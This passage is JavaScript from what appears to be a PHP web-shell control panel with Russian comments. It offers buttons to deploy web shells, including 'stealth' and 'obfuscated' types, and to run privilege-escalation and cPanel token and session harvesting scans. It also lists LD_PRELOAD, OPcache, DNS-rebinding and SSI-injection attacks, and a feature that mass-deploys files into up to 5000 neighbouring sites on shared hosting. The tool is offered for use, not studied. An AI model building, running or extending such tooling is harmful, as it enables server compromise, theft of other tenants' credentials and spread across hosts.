  var response = await fetch('?api=deploy_adminer' + dbg, { method: 'POST', body: fd });
  var data = await response.json();
  
  if (data.status === 'ok' && data.result) {
    var r = data.result;
    if (r.success) {
      alert('✓ Adminer deployed!\n\nPath: ' + r.path + '\nURL: ' + r.url + '\nAccess key in file');
    } else {
      alert('Error: ' + (r.message || 'Failed to deploy'));
    }
  } else {
    alert('Error: ' + (data.message || 'Unknown error'));
  }
}

// Deploy Shell
async function deployShell(path, type) {
  type = type || 'advanced';
  var types = ['basic', 'advanced', 'obfuscated', 'minimal', 'stealth'];
  var typeChoice = prompt('Тип шелла (' + types.join(', ') + '):', type);
  if (!typeChoice || types.indexOf(typeChoice) === -1) {
    alert('Invalid shell type');
    return;
  }
  
  if (!confirm('ВНИМАНИЕ! Вы собираетесь задеплоить веб-шелл на ' + path + '. Это опасная операция. Продолжить?')) return;
  
  var fd = new FormData();
  fd.append('path', path);
  fd.append('type', typeChoice);
  fd.append('csrf', window.__CSRF__ || '');
  
  var response = await fetch('?api=deploy_shell' + dbg, { method: 'POST', body: fd });
  var data = await response.json();
  
  if (data.status === 'ok' && data.result) {
    var r = data.result;
    if (r.success) {
      alert('✓ Shell deployed!\n\nPath: ' + r.path + '\nURL: ' + r.url + '\nUsage: ' + (r.usage || ''));
    } else {
      alert('Error: ' + (r.error || 'Failed to deploy'));
    }
  } else {
    alert('Error: ' + (data.message || 'Unknown error'));
  }
}

/* ==================== ПРОДВИНУТЫЕ АТАКИ (ЭТАП 2) ==================== */

// Рендер результатов продвинутых атак
function renderAdvancedAttacks(data) {
  var h = [];
  
  // Summary
  if (data.summary) {
    var riskColor = data.summary.risk_level === 'critical' ? '#f66' : 
                    (data.summary.risk_level === 'high' ? '#fa0' : 
                    (data.summary.risk_level === 'medium' ? '#ff0' : '#0f0'));
    h.push('<div class="flex" style="margin-bottom:15px">');
    h.push('<span class="badge" style="font-size:14px;padding:8px 12px;background:' + riskColor + '20;border-color:' + riskColor + '">Findings: ' + data.summary.total_findings + ' (' + data.summary.risk_level.toUpperCase() + ')</span>');
    h.push('<span class="badge">Time: ' + (data.timestamp || new Date().toISOString()) + '</span>');
    h.push('</div>');
  }
  
  // LD_PRELOAD
  if (data.ldpreload) {
    var ldp = data.ldpreload;
    h.push('<details class="coll" ' + (ldp.ldpreload_possible ? 'open' : '') + '><summary>🔧 LD_PRELOAD Bypass' + (ldp.ldpreload_possible ? ' <span class="tag-err">POSSIBLE</span>' : '') + '</summary><div>');
    h.push('<div class="kv">');
    h.push('<div>mail() available</div><div>' + (ldp.mail_available ? '<span class="tag-ok">Yes</span>' : 'No') + '</div>');
    h.push('<div>putenv() available</div><div>' + (ldp.putenv_available ? '<span class="tag-ok">Yes</span>' : 'No') + '</div>');
    h.push('<div>LD_PRELOAD bypass</div><div>' + (ldp.ldpreload_possible ? '<span class="tag-err">POSSIBLE</span>' : 'No') + '</div>');
    h.push('<div>sendmail_path</div><div><code>' + (ldp.sendmail_path || '-') + '</code></div>');
    h.push('</div>');
    
    if (ldp.alternative_methods && Object.keys(ldp.alternative_methods).length > 0) {
      h.push('<h5>Alternative Methods:</h5><ul>');
      Object.keys(ldp.alternative_methods).forEach(function(m) {
        h.push('<li><strong>' + m + '</strong>: ' + (ldp.alternative_methods[m].available ? '<span class="tag-err">Available</span>' : 'Not available') + '</li>');
      });
      h.push('</ul>');
    }
    
    if (ldp.disabled_functions && ldp.disabled_functions.length > 0) {
      h.push('<div class="small muted">Disabled functions: ' + ldp.disabled_functions.slice(0, 20).join(', ') + (ldp.disabled_functions.length > 20 ? '...' : '') + '</div>');
    }
    h.push('</div></details>');
  }
  
  // Shared Memory
  if (data.shared_memory) {
    var shm = data.shared_memory;
    var shmFound = (shm.segments_found && shm.segments_found.length > 0) || (shm.dev_shm_files && shm.dev_shm_files.length > 0);
    h.push('<details class="coll" ' + (shmFound ? 'open' : '') + '><summary>🧠 Shared Memory' + (shmFound ? ' <span class="tag-warn">FINDINGS</span>' : '') + '</summary><div>');
    
    if (shm.functions_available && shm.functions_available.length > 0) {
      h.push('<div class="small">Available functions: <code>' + shm.functions_available.join(', ') + '</code></div>');
    }
    
    if (shm.segments_found && shm.segments_found.length > 0) {
      h.push('<h5>Found Segments:</h5><table><tr><th>Key</th><th>Size</th><th>Method</th><th>Preview</th></tr>');
      shm.segments_found.forEach(function(seg) {
        h.push('<tr><td>' + seg.key + '</td><td>' + (seg.size || '-') + '</td><td>' + seg.method + '</td><td><code>' + (seg.data_preview || seg.hex_preview || '-').substring(0, 50) + '</code></td></tr>');
      });
      h.push('</table>');
    }
    
    if (shm.dev_shm_files && shm.dev_shm_files.length > 0) {
      h.push('<h5>/dev/shm Files:</h5><table><tr><th>Name</th><th>Size</th><th>Readable</th><th>Writable</th></tr>');
      shm.dev_shm_files.forEach(function(f) {
        h.push('<tr><td>' + f.name + '</td><td>' + (f.size || '-') + '</td><td>' + (f.readable ? '✓' : '-') + '</td><td>' + (f.writable ? '<span class="tag-err">✓</span>' : '-') + '</td></tr>');
      });
      h.push('</table>');
    }
    h.push('</div></details>');
  }
  
  // Session Upload Progress
  if (data.session_upload) {
    var sup = data.session_upload;
    h.push('<details class="coll" ' + (sup.vulnerable ? 'open' : '') + '><summary>📤 Session Upload Progress' + (sup.vulnerable ? ' <span class="tag-err">VULNERABLE</span>' : '') + '</summary><div>');
    
    if (sup.config) {
      h.push('<div class="kv small">');
      Object.keys(sup.config).forEach(function(k) {
        h.push('<div>' + k + '</div><div><code>' + (sup.config[k] || '-') + '</code></div>');
      });
      h.push('</div>');
    }
    
    if (sup.attack_vector) {
      h.push('<h5>Attack Vector:</h5>');
      h.push('<div class="small"><strong>Session ID:</strong> <code>' + sup.attack_vector.session_id + '</code></div>');
      h.push('<div class="small"><strong>Progress Name:</strong> <code>' + sup.attack_vector.progress_name + '</code></div>');
      h.push('<div class="small"><strong>Race Condition:</strong> ' + (sup.attack_vector.race_condition_needed ? '<span class="tag-warn">Needed</span>' : 'Not needed') + '</div>');
    }
    
    if (sup.session_file) {
      h.push('<h5>Session File:</h5>');
      h.push('<div class="small"><strong>Path:</strong> <code>' + sup.session_file.path + '</code></div>');
      h.push('<div class="small"><strong>Writable:</strong> ' + (sup.session_file.writable ? '<span class="tag-err">Yes</span>' : 'No') + '</div>');
    }
    
    if (sup.exploit_instructions) {
      h.push('<h5>Exploit Instructions:</h5><ol class="small">');
      sup.exploit_instructions.forEach(function(instr) {
        h.push('<li>' + instr + '</li>');
      });
      h.push('</ol>');
    }
    h.push('</div></details>');
  }
  
  // OPcache
  if (data.opcache) {
    var opc = data.opcache;
    var opcEnabled = opc.config && opc.config['opcache.enable'];
    h.push('<details class="coll"><summary>⚡ OPcache' + (opcEnabled ? ' <span class="tag-ok">Enabled</span>' : '') + '</summary><div>');
    
    if (opc.config) {
      h.push('<div class="kv small">');
      Object.keys(opc.config).slice(0, 10).forEach(function(k) {
        h.push('<div>' + k + '</div><div><code>' + (opc.config[k] || '-') + '</code></div>');
      });
      h.push('</div>');
    }
    
    if (opc.status) {
      h.push('<h5>Status:</h5><pre class="small" style="background:#0b0f13;padding:8px;border-radius:4px">' + JSON.stringify(opc.status, null, 2) + '</pre>');
    }
    
    if (opc.cached_files && opc.cached_files.count) {
      h.push('<div class="small">Cached files: ' + opc.cached_files.count + '</div>');
    }
    
    if (opc.exploits) {
      h.push('<h5>Exploit Vectors:</h5><ul class="small">');
      Object.keys(opc.exploits).forEach(function(k) {
        var v = opc.exploits[k];
        h.push('<li><strong>' + k + ':</strong> ' + (typeof v === 'boolean' ? (v ? 'Yes' : 'No') : JSON.stringify(v)) + '</li>');
      });
      h.push('</ul>');
    }
    h.push('</div></details>');
  }
  
  // Kernel
  if (data.kernel) {
    var krn = data.kernel;
    h.push('<details class="coll"><summary>🐧 Kernel & Namespaces</summary><div>');
    
    if (krn.kernel_info) {
      h.push('<div class="kv small">');
      h.push('<div>Kernel</div><div><code>' + krn.kernel_info.release + '</code></div>');
      h.push('<div>Version</div><div><code>' + (krn.kernel_info.version || '-').substring(0, 60) + '</code></div>');
      h.push('</div>');
    }
    
    if (krn.user_namespace) {
      h.push('<h5>User Namespace:</h5><div class="kv small">');
      Object.keys(krn.user_namespace).forEach(function(k) {
        h.push('<div>' + k + '</div><div>' + krn.user_namespace[k] + '</div>');
      });
      h.push('</div>');
    }
    
    if (krn.capabilities) {
      h.push('<h5>Capabilities:</h5><div class="kv small">');
      Object.keys(krn.capabilities).forEach(function(k) {
        h.push('<div>' + k + '</div><div><code>' + krn.capabilities[k] + '</code></div>');
      });
      h.push('</div>');
    }
    
    if (krn.ebpf && Object.keys(krn.ebpf).length > 0) {
      h.push('<h5>eBPF:</h5><pre class="small" style="background:#0b0f13;padding:8px;border-radius:4px;max-height:150px;overflow:auto">' + JSON.stringify(krn.ebpf, null, 2) + '</pre>');
    }
    
    if (krn.kernel_vulns_to_check) {
      h.push('<h5>Kernel Vulns to Check:</h5><ul class="small">');
      Object.keys(krn.kernel_vulns_to_check).forEach(function(cve) {
        h.push('<li><strong>' + cve + ':</strong> ' + krn.kernel_vulns_to_check[cve] + '</li>');
      });
      h.push('</ul>');
    }
    h.push('</div></details>');
  }
  
  // Daemons
  if (data.daemons) {
    var dmn = data.daemons;
    var daemonFindings = (dmn.open_ports && dmn.open_ports.length > 0) || (dmn.socket_files && dmn.socket_files.length > 0);
    h.push('<details class="coll" ' + (daemonFindings ? 'open' : '') + '><summary>🔌 Daemons & Services' + (daemonFindings ? ' <span class="tag-warn">FINDINGS</span>' : '') + '</summary><div>');
    
    if (dmn.open_ports && dmn.open_ports.length > 0) {
      h.push('<h5>Open Ports (' + dmn.open_ports.length + '):</h5>');
      h.push('<table><tr><th>Port</th><th>Service</th><th>Detected</th></tr>');
      dmn.open_ports.forEach(function(p) {
        h.push('<tr><td>' + p.port + '</td><td>' + p.expected_service + '</td><td>' + p.detected_service + '</td></tr>');
      });
      h.push('</table>');
    }
    
    if (dmn.socket_files && dmn.socket_files.length > 0) {
      h.push('<h5>Unix Sockets (' + dmn.socket_files.length + '):</h5>');
      h.push('<table><tr><th>Path</th><th>Service</th><th>Writable</th></tr>');
      dmn.socket_files.forEach(function(s) {
        h.push('<tr><td><code>' + s.path + '</code></td><td>' + s.service + '</td><td>' + (s.writable ? '<span class="tag-err">Yes</span>' : 'No') + '</td></tr>');
      });
      h.push('</table>');
    }
    
    if (dmn.config_files && dmn.config_files.length > 0) {
      h.push('<h5>Config Files (' + dmn.config_files.length + '):</h5>');
      h.push('<table><tr><th>Path</th><th>Service</th><th>Readable</th><th>Writable</th></tr>');
      dmn.config_files.forEach(function(c) {
        h.push('<tr><td><code>' + c.path + '</code></td><td>' + c.service + '</td><td>' + (c.readable ? '✓' : '-') + '</td><td>' + (c.writable ? '<span class="tag-err">✓</span>' : '-') + '</td></tr>');
      });
      h.push('</table>');
    }
    h.push('</div></details>');
  }
  
  // DNS Rebinding
  if (data.dns_rebinding) {
    var dns = data.dns_rebinding;
    h.push('<details class="coll"><summary>🌐 DNS Rebinding</summary><div>');
    
    if (dns.internal_ips && dns.internal_ips.length > 0) {
      h.push('<div class="small">Internal IPs: <code>' + dns.internal_ips.join(', ') + '</code></div>');
    }
    
    if (dns.local_services && dns.local_services.length > 0) {
      h.push('<h5>Local Services (' + dns.local_services.length + '):</h5>');
      h.push('<table><tr><th>Host</th><th>Port</th><th>Service</th></tr>');
      dns.local_services.forEach(function(s) {
        h.push('<tr><td>' + s.host + '</td><td>' + s.port + '</td><td>' + s.service + '</td></tr>');
      });
      h.push('</table>');
    }
    
    if (dns.dns_rebinding_payloads && dns.dns_rebinding_payloads.length > 0) {
      h.push('<h5>Payloads:</h5>');
      dns.dns_rebinding_payloads.slice(0, 3).forEach(function(p) {
        h.push('<details class="coll"><summary>' + p.target + ' (' + p.service + ')</summary>');
        h.push('<pre class="small" style="background:#0b0f13;padding:8px;white-space:pre-wrap">' + (p.fetch_payload || '').replace(/</g, '&lt;') + '</pre>');
        h.push('</details>');
      });
    }
    h.push('</div></details>');
  }
  
  return h.join('');
}

// Advanced Attacks Button
var btnAdvancedAttacks = document.getElementById('btnAdvancedAttacks');
if (btnAdvancedAttacks) {
  btnAdvancedAttacks.addEventListener('click', async function() {
    // Показываем меню выбора типа атаки
    var attackTypes = [
      { value: 'all', label: '🔥 Все атаки (полный скан)' },
      { value: 'privesc', label: '⬆️ Privilege Escalation (SUID, sudo, cron)' },
      { value: 'cpanel', label: '🔐 cPanel Access (sessions, tokens, API)' },
      { value: 'ldpreload', label: '🔧 LD_PRELOAD Bypass' },
      { value: 'shared_memory', label: '🧠 Shared Memory Attacks' },
      { value: 'session_upload', label: '📤 Session Upload Progress' },
      { value: 'opcache', label: '⚡ OPcache Attacks' },
      { value: 'kernel', label: '🐧 Kernel & Namespaces' },
      { value: 'daemons', label: '🔌 Find Daemons' },
      { value: 'dns_rebinding', label: '🌐 DNS Rebinding' }
    ];
    
    var menuHtml = '<h4>🚀 Выберите тип атаки:</h4>';
    menuHtml += '<div style="display:grid;gap:8px;margin:15px 0">';
    attackTypes.forEach(function(t) {
      menuHtml += '<button class="btn" onclick="runAdvancedAttack(\'' + t.value + '\')" style="text-align:left;padding:12px">' + t.label + '</button>';
    });
    menuHtml += '</div>';
    menuHtml += '<div style="margin-top:15px;padding-top:15px;border-top:1px solid var(--line)">';
    menuHtml += '<h5>Дополнительные проверки:</h5>';
    menuHtml += '<div style="display:flex;gap:8px;flex-wrap:wrap">';
    menuHtml += '<button class="btn" onclick="runCorsCheck()">CORS Check</button>';
    menuHtml += '<button class="btn" onclick="runSsiCheck()">SSI Injection</button>';
    menuHtml += '</div></div>';
    
    openPentestModal('🚀 Advanced Attacks', menuHtml);
  });
}

// Запуск продвинутой атаки
async function runAdvancedAttack(type) {
  closePentestModal();
  
  // Для privesc используем отдельный API
  if (type === 'privesc') {
    return runPrivescScan();
  }
  
  // Для cpanel используем отдельный API
  if (type === 'cpanel') {
    return runCpanelScan();
  }
  
  var path = '';
  if (type === 'all') {
    path = prompt('Введите путь к WordPress (опционально, для проверки БД):', '');
  }
  
  var url = '?api=advanced_attacks&type=' + type;
  if (path) url += '&path=' + encodeURIComponent(path);
  
  try {
    var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Выполнение ' + type + '...</h3><div class="small muted">Это может занять некоторое время</div></div>';
    openPentestModal('🚀 Advanced Attacks - ' + type, loadingHtml);
    
    var response = await fetch(url + dbg);
    var data = await response.json();
    
    if (data.status === 'ok') {
      var html = renderAdvancedAttacks(data.advanced_attacks);
      openPentestModal('🚀 Advanced Attacks - ' + type, html);
    } else {
      alert('Error: ' + (data.message || 'Unknown error'));
      closePentestModal();
    }
  } catch (e) {
    alert('Error: ' + e.message);
    closePentestModal();
  }
}

// Privilege Escalation Scan
async function runPrivescScan() {
  try {
    var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование Privilege Escalation...</h3><div class="small muted">Поиск SUID, sudo, capabilities, writable paths...</div></div>';
    openPentestModal('⬆️ Privilege Escalation', loadingHtml);
    
    var response = await fetch('?api=privesc' + dbg);
    var data = await response.json();
    
    if (data.status === 'ok') {
      var html = renderPrivescResults(data.privesc);
      openPentestModal('⬆️ Privilege Escalation Results', html);
    } else {
      alert('Error: ' + (data.message || 'Unknown error'));
      closePentestModal();
    }
  } catch (e) {
    alert('Error: ' + e.message);
    closePentestModal();
  }
}

// Рендер результатов PrivEsc
function renderPrivescResults(data) {
  var h = [];
  
  // Summary
  h.push('<div class="flex" style="flex-wrap:wrap;gap:10px;margin-bottom:20px">');
  if (data.summary) {
    var riskColor = data.summary.risk_level === 'critical' ? '#f00' : (data.summary.risk_level === 'high' ? '#fa0' : '#0f0');
    h.push('<span class="badge" style="background:' + riskColor + '">Risk: ' + data.summary.risk_level.toUpperCase() + '</span>');
    h.push('<span class="badge">🔓 Exploitable: ' + data.summary.total_exploitable + '</span>');
    h.push('<span class="badge">🔧 SUID bins: ' + data.summary.suid_count + '</span>');
    h.push('<span class="badge">👥 Neighbor access: ' + data.summary.neighbor_access_count + '</span>');
  }
  h.push('</div>');
  
  // Current user
  if (data.current_user) {
    h.push('<details class="coll" open><summary>👤 Current User</summary><div class="kv">');
    h.push('<div>Username</div><div><code>' + (data.current_user.username || '-') + '</code></div>');
    h.push('<div>UID/GID</div><div><code>' + (data.current_user.uid || '?') + ':' + (data.current_user.gid || '?') + '</code></div>');
    h.push('<div>Home</div><div><code>' + (data.current_user.home || '-') + '</code></div>');
    h.push('</div></details>');
  }
  
  // Exploitable findings
  if (data.exploitable && data.exploitable.length > 0) {
    h.push('<details class="coll" open><summary style="color:#f00">🔓 EXPLOITABLE (' + data.exploitable.length + ')</summary><div>');
    h.push('<table><tr><th>Type</th><th>Details</th><th>Method</th></tr>');
    data.exploitable.forEach(function(e) {
      h.push('<tr style="background:#300">');
      h.push('<td><span class="badge" style="background:#f00">' + e.type + '</span></td>');
      h.push('<td><code>' + (e.path || e.detail || e.commands || e.user || '-') + '</code></td>');
      h.push('<td class="small">' + (e.method || '-') + '</td>');
      h.push('</tr>');
    });
    h.push('</table></div></details>');
  }
  
  // SUID binaries
  if (data.suid_binaries && data.suid_binaries.length > 0) {
    h.push('<details class="coll"><summary>🔧 SUID Binaries (' + data.suid_binaries.length + ')</summary><div>');
    h.push('<table><tr><th>Path</th><th>Exploitable</th><th>Method</th></tr>');
    data.suid_binaries.forEach(function(s) {
      var rowStyle = s.exploitable ? 'background:#300' : '';
      h.push('<tr style="' + rowStyle + '">');
      h.push('<td><code class="small">' + s.path + '</code></td>');
      h.push('<td>' + (s.exploitable ? '<span style="color:#f00">⚠️ YES</span>' : '-') + '</td>');
      h.push('<td class="small">' + (s.exploit_method || '-') + '</td>');
      h.push('</tr>');
    });
    h.push('</table></div></details>');
  }
  
  // Sudo access
  if (data.sudo_access && data.sudo_access.output) {
    h.push('<details class="coll"><summary>🔑 Sudo Access</summary><div>');
    h.push('<pre style="max-height:200px;overflow:auto">' + data.sudo_access.output + '</pre>');
    if (data.sudo_access.nopasswd) {
      h.push('<p style="color:#f00"><strong>NOPASSWD found:</strong> ' + data.sudo_access.nopasswd + '</p>');
    }
    h.push('</div></details>');
  }
  
  // Neighbor access
  if (data.neighbor_access && data.neighbor_access.length > 0) {
    var readableNeighbors = data.neighbor_access.filter(function(n) { return n.public_html_readable; });
    h.push('<details class="coll"><summary>👥 Neighbor Access (' + readableNeighbors.length + ' readable)</summary><div>');
    h.push('<table><tr><th>User</th><th>Home</th><th>public_html</th><th>wp-config</th></tr>');
    data.neighbor_access.slice(0, 50).forEach(function(n) {
      h.push('<tr>');
      h.push('<td><code>' + n.user + '</code></td>');
      h.push('<td>' + (n.home_readable ? '✅' : '❌') + '</td>');
      h.push('<td>' + (n.public_html_readable ? '✅' : '❌') + '</td>');
      h.push('<td>' + (n.wp_config_readable ? '<span style="color:#f00">⚠️ READABLE</span>' : '❌') + '</td>');
      h.push('</tr>');
    });
    h.push('</table></div></details>');
  }
  
  // Writable paths  
  if (data.writable_paths && data.writable_paths.length > 0) {
    h.push('<details class="coll"><summary style="color:#f00">📝 Writable Sensitive Paths</summary><div>');
    data.writable_paths.forEach(function(p) {
      h.push('<div style="color:#f00"><code>' + p + '</code></div>');
    });
    h.push('</div></details>');
  }
  
  // Cron access
  if (data.cron_access && data.cron_access.length > 0) {
    var writableCrons = data.cron_access.filter(function(c) { return c.writable; });
    if (writableCrons.length > 0) {
      h.push('<details class="coll"><summary style="color:#fa0">⏰ Cron Access (writable: ' + writableCrons.length + ')</summary><div>');
      h.push('<table><tr><th>Path</th><th>Exists</th><th>Readable</th><th>Writable</th></tr>');
      data.cron_access.forEach(function(c) {
        h.push('<tr>');
        h.push('<td><code>' + c.path + '</code></td>');
        h.push('<td>' + (c.exists ? '✅' : '❌') + '</td>');
        h.push('<td>' + (c.readable ? '✅' : '❌') + '</td>');
        h.push('<td>' + (c.writable ? '<span style="color:#f00">✅</span>' : '❌') + '</td>');
        h.push('</tr>');
      });
      h.push('</table></div></details>');
    }
  }
  
  return h.join('');
}

// cPanel Access Scan
async function runCpanelScan() {
  try {
    var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Сканирование cPanel...</h3><div class="small muted">Поиск сессий, токенов, API доступа...</div></div>';
    openPentestModal('🔐 cPanel Access Scan', loadingHtml);
    
    var response = await fetch('?api=cpanel' + dbg);
    var data = await response.json();
    
    if (data.status === 'ok') {
      var html = renderCpanelResults(data.cpanel);
      openPentestModal('🔐 cPanel Access Results', html);
    } else {
      alert('Error: ' + (data.message || 'Unknown error'));
      closePentestModal();
    }
  } catch (e) {
    alert('Error: ' + e.message);
    closePentestModal();
  }
}

// Рендер результатов cPanel
function renderCpanelResults(data) {
  var h = [];
  
  // Summary
  h.push('<div class="flex" style="flex-wrap:wrap;gap:10px;margin-bottom:20px">');
  if (data.summary) {
    h.push('<span class="badge">' + (data.summary.cpanel_detected ? '✅ cPanel Detected' : '❌ No cPanel') + '</span>');
    var riskColor = data.summary.risk_level === 'critical' ? '#f00' : (data.summary.risk_level === 'high' ? '#fa0' : '#0f0');
    h.push('<span class="badge" style="background:' + riskColor + '">Risk: ' + data.summary.risk_level.toUpperCase() + '</span>');
    h.push('<span class="badge">🔓 Exploitable: ' + data.summary.total_exploitable + '</span>');
    h.push('<span class="badge">🔑 Sessions: ' + data.summary.sessions_found + '</span>');
    h.push('<span class="badge">🎫 Tokens: ' + data.summary.tokens_found + '</span>');
  }
  h.push('</div>');
  
  // Exploitable findings
  if (data.exploitable && data.exploitable.length > 0) {
    h.push('<details class="coll" open><summary style="color:#f00">🔓 EXPLOITABLE (' + data.exploitable.length + ')</summary><div>');
    h.push('<table><tr><th>Type</th><th>Details</th><th>Source</th></tr>');
    data.exploitable.forEach(function(e) {
      h.push('<tr style="background:#300">');
      h.push('<td><span class="badge" style="background:#f00">' + e.type + '</span></td>');
      h.push('<td>');
      if (e.token) h.push('<code>' + e.token + '</code>');
      else if (e.token_preview) h.push('<code>' + e.token_preview + '</code>');
      else if (e.hash_preview) h.push('<code>' + e.hash_preview + '</code>');
      else if (e.user) h.push('User: <code>' + e.user + '</code>');
      else if (e.output_preview) h.push('<pre class="small">' + e.output_preview.substring(0, 200) + '</pre>');
      else h.push('-');
      h.push('</td>');
      h.push('<td class="small"><code>' + (e.source || e.path || e.indicator || '-') + '</code></td>');
      h.push('</tr>');
    });
    h.push('</table></div></details>');
  }
  
  // Sessions
  if (data.sessions && data.sessions.length > 0) {
    h.push('<details class="coll"><summary>🔑 Sessions Found (' + data.sessions.length + ')</summary><div>');
    h.push('<table><tr><th>Path</th><th>Size</th><th>Has Token</th><th>Preview</th></tr>');
    data.sessions.slice(0, 20).forEach(function(s) {
      h.push('<tr>');
      h.push('<td><code class="small">' + s.path + '</code></td>');
      h.push('<td>' + (s.size || '-') + '</td>');
      h.push('<td>' + (s.has_token ? '<span style="color:#f00">⚠️ YES</span>' : '-') + '</td>');
      h.push('<td class="small">' + (s.preview || '-').substring(0, 100) + '</td>');
      h.push('</tr>');
    });
    h.push('</table></div></details>');
  }
  
  // Tokens
  if ((data.tokens && data.tokens.length > 0) || (data.api_tokens && data.api_tokens.length > 0)) {
    var totalTokens = (data.tokens ? data.tokens.length : 0) + (data.api_tokens ? data.api_tokens.length : 0);
    h.push('<details class="coll"><summary style="color:#fa0">🎫 Tokens Found (' + totalTokens + ')</summary><div>');
    
    if (data.tokens && data.tokens.length > 0) {
      h.push('<h5>Access Tokens:</h5>');
      data.tokens.forEach(function(t) {
        h.push('<div><code>' + t.path + '</code>');
        if (t.content) {
          h.push('<pre style="max-height:100px;overflow:auto">' + t.content.substring(0, 500) + '</pre>');
        }
        h.push('</div>');
      });
    }
    
    if (data.api_tokens && data.api_tokens.length > 0) {
      h.push('<h5>API Tokens:</h5>');
      data.api_tokens.forEach(function(t) {
        h.push('<div><code>' + t.path + '</code>');
        if (t.content) {
          h.push('<pre style="max-height:100px;overflow:auto">' + t.content.substring(0, 500) + '</pre>');
        }
        h.push('</div>');
      });
    }
    h.push('</div></details>');
  }
  
  // Userdata
  if (data.userdata && data.userdata.length > 0) {
    h.push('<details class="coll"><summary>📁 Userdata (' + data.userdata.length + ')</summary><div>');
    data.userdata.forEach(function(u) {
      h.push('<details><summary><code>' + u.path + '</code></summary>');
      h.push('<pre style="max-height:200px;overflow:auto">' + (u.content || '-').substring(0, 2000) + '</pre>');
      h.push('</details>');
    });
    h.push('</div></details>');
  }
  
  // Access files
  if (data.access_files && data.access_files.length > 0) {
    h.push('<details class="coll"><summary>📄 Accessible Config Files (' + data.access_files.length + ')</summary><div>');
    h.push('<table><tr><th>Name</th><th>Path</th><th>Size</th></tr>');
    data.access_files.forEach(function(f) {
      h.push('<tr>');
      h.push('<td>' + f.name + '</td>');
      h.push('<td><code class="small">' + f.path + '</code></td>');
      h.push('<td>' + (f.size || '-') + '</td>');
      h.push('</tr>');
    });
    h.push('</table>');
    
    // Показать preview для каждого файла
    data.access_files.forEach(function(f) {
      if (f.preview) {
        h.push('<details><summary class="small">' + f.name + ' preview</summary>');
        h.push('<pre style="max-height:150px;overflow:auto">' + f.preview + '</pre>');
        h.push('</details>');
      }
    });
    h.push('</div></details>');
  }
  
  return h.join('');
}

// CORS Check
async function runCorsCheck() {
  var url = prompt('Введите URL для проверки CORS:', 'https://example.com/api/endpoint');
  if (!url) return;
  
  closePentestModal();
  
  try {
    var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Проверка CORS...</h3></div>';
    openPentestModal('🌐 CORS Check', loadingHtml);
    
    var response = await fetch('?api=cors_check&url=' + encodeURIComponent(url) + dbg);
    var data = await response.json();
    
    if (data.status === 'ok') {
      var html = '<h4>URL: ' + data.url + '</h4>';
      var vulnCount = 0;
      
      html += '<table><tr><th>Origin</th><th>ACAO</th><th>Credentials</th><th>Vulnerable</th><th>Type</th></tr>';
      data.cors_results.forEach(function(r) {
        if (r.vulnerable) vulnCount++;
        var sevColor = r.severity === 'critical' ? '#f66' : (r.severity === 'high' ? '#fa0' : (r.severity === 'medium' ? '#ff0' : '#0f0'));
        html += '<tr><td><code>' + r.origin + '</code></td><td><code>' + (r.acao || '-') + '</code></td><td>' + (r.acac ? '<span class="tag-warn">Yes</span>' : 'No') + '</td><td style="color:' + sevColor + '">' + (r.vulnerable ? r.severity.toUpperCase() : 'No') + '</td><td>' + (r.vulnerability_type || '-') + '</td></tr>';
      });
      html += '</table>';
      
      if (vulnCount > 0) {
        html = '<div class="tag-err" style="padding:10px;margin-bottom:15px">⚠️ ' + vulnCount + ' CORS vulnerabilities found!</div>' + html;
      } else {
        html = '<div class="tag-ok" style="padding:10px;margin-bottom:15px">✓ No CORS vulnerabilities detected</div>' + html;
      }
      
      openPentestModal('🌐 CORS Check - ' + url, html);
    } else {
      alert('Error: ' + (data.message || 'Unknown error'));
      closePentestModal();
    }
  } catch (e) {
    alert('Error: ' + e.message);
    closePentestModal();
  }
}

// SSI Injection Check
async function runSsiCheck() {
  var url = prompt('Введите URL для проверки SSI:', 'https://example.com/page.shtml');
  if (!url) return;
  
  closePentestModal();
  
  try {
    var loadingHtml = '<div style="text-align:center;padding:50px"><h3>⏳ Проверка SSI Injection...</h3></div>';
    openPentestModal('💉 SSI Injection Check', loadingHtml);
    
    var response = await fetch('?api=ssi_check&url=' + encodeURIComponent(url) + dbg);
    var data = await response.json();
    
    if (data.status === 'ok') {
      var results = data.ssi_results;
      var html = '<h4>URL: ' + data.url + '</h4>';
      
      if (results.vulnerable) {
        html += '<div class="tag-err" style="padding:10px;margin-bottom:15px">⚠️ SSI Injection VULNERABLE!</div>';
        
        if (results.successful_payloads && results.successful_payloads.length > 0) {
          html += '<h5>Successful Payloads:</h5>';
          html += '<table><tr><th>Param</th><th>Payload</th><th>Matched</th></tr>';
          results.successful_payloads.forEach(function(p) {
            html += '<tr><td>' + p.param + '</td><td><code>' + p.payload_name + '</code></td><td>' + (p.matched || '-') + '</td></tr>';
          });
          html += '</table>';
        }
      } else {
        html += '<div class="tag-ok" style="padding:10px;margin-bottom:15px">✓ No SSI Injection detected</div>';
      }
      
      html += '<div class="small muted" style="margin-top:15px">Tested ' + (results.tests ? results.tests.length : 0) + ' payload combinations</div>';
      
      openPentestModal('💉 SSI Injection Check', html);
    } else {
      alert('Error: ' + (data.message || 'Unknown error'));
      closePentestModal();
    }
  } catch (e) {
    alert('Error: ' + e.message);
    closePentestModal();
  }
}

/* ==================== МАССОВЫЙ ДЕПЛОЙ НА СОСЕДЕЙ ==================== */

// Хранилище для результатов деплоя (для cleanup)
var lastNeighborDeployResults = null;

// Neighbor Deploy Button
var btnNeighborDeploy = document.getElementById('btnNeighborDeploy');
if (btnNeighborDeploy) {
  btnNeighborDeploy.addEventListener('click', function() {
    var html = '<h4>🎯 Массовый деплой маркера на соседние сайты</h4>';
    html += '<p class="small muted">Использует ВСЕ методы bypass для поиска соседей и деплоя вашего маркера</p>';
    
    html += '<div style="display:grid;gap:12px;margin:20px 0">';
    
    html += '<div class="flex" style="gap:10px"><label style="width:140px">Имя маркера:</label><input type="text" id="neighborMarkerName" value="marker.txt" style="flex:1"></div>';
    
    html += '<div><label>Содержимое маркера:</label><textarea id="neighborMarkerContent" rows="4" style="width:100%;margin-top:5px" placeholder="<?php /* Marker */ ?>"></textarea></div>';
    
    html += '<div class="flex" style="gap:10px"><label style="width:140px">Субдиректория:</label><input type="text" id="neighborSubdir" value="" placeholder="например: wp-content/uploads" style="flex:1"></div>';
    
    html += '<div class="flex" style="gap:10px"><label style="width:140px">Макс. соседей:</label><input type="number" id="neighborMaxNeighbors" value="500" min="10" max="5000" style="width:100px"></div>';
    
